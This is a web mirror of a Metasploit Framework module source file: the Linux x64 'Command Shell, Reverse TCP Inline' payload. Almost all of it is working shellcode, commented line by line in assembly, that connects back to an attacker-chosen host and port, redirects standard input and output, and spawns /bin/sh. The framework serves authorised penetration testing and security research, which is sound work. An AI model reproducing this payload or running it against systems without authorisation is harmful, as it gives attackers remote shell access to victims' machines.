Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 74
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux::X64::Prepends
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Linux Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'ricky',
20
'License' => MSF_LICENSE,
21
'Platform' => 'linux',
22
'Arch' => ARCH_X64,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LHOST' => [ 20, 'ADDR' ],
29
'LPORT' => [ 18, 'n' ]
30
},
31
'Payload' =>
32
"\x6a\x29" + # pushq $0x29
33
"\x58" + # pop %rax
34
"\x99" + # cltd
35
"\x6a\x02" + # pushq $0x2
36
"\x5f" + # pop %rdi
37
"\x6a\x01" + # pushq $0x1
38
"\x5e" + # pop %rsi
39
"\x0f\x05" + # syscall
40
"\x48\x97" + # xchg %rax,%rdi
41
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
42
"\x15\xb3" \
43
"\x7f\x00\x00\x01" \
44
"\x51" + # push %rcx
45
"\x48\x89\xe6" + # mov %rsp,%rsi
46
"\x6a\x10" + # pushq $0x10
47
"\x5a" + # pop %rdx
48
"\x6a\x2a" + # pushq $0x2a
49
"\x58" + # pop %rax
50
"\x0f\x05" + # syscall
51
"\x6a\x03" + # pushq $0x3
52
"\x5e" + # pop %rsi
53
"\x48\xff\xce" + # dec %rsi
54
"\x6a\x21" + # pushq $0x21
55
"\x58" + # pop %rax
56
"\x0f\x05" + # syscall
57
"\x75\xf6" + # jne 27 <dup2_loop>
58
"\x6a\x3b" + # pushq $0x3b
59
"\x58" + # pop %rax
60
"\x99" + # cltd
61
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
62
"\x73\x68\x00" \
63
"\x53" + # push %rbx
64
"\x48\x89\xe7" + # mov %rsp,%rdi
65
"\x52" + # push %rdx
66
"\x57" + # push %rdi
67
"\x48\x89\xe6" + # mov %rsp,%rsi
68
"\x0f\x05" # syscall
69
}
70
)
71
)
72
end
73
end
74
75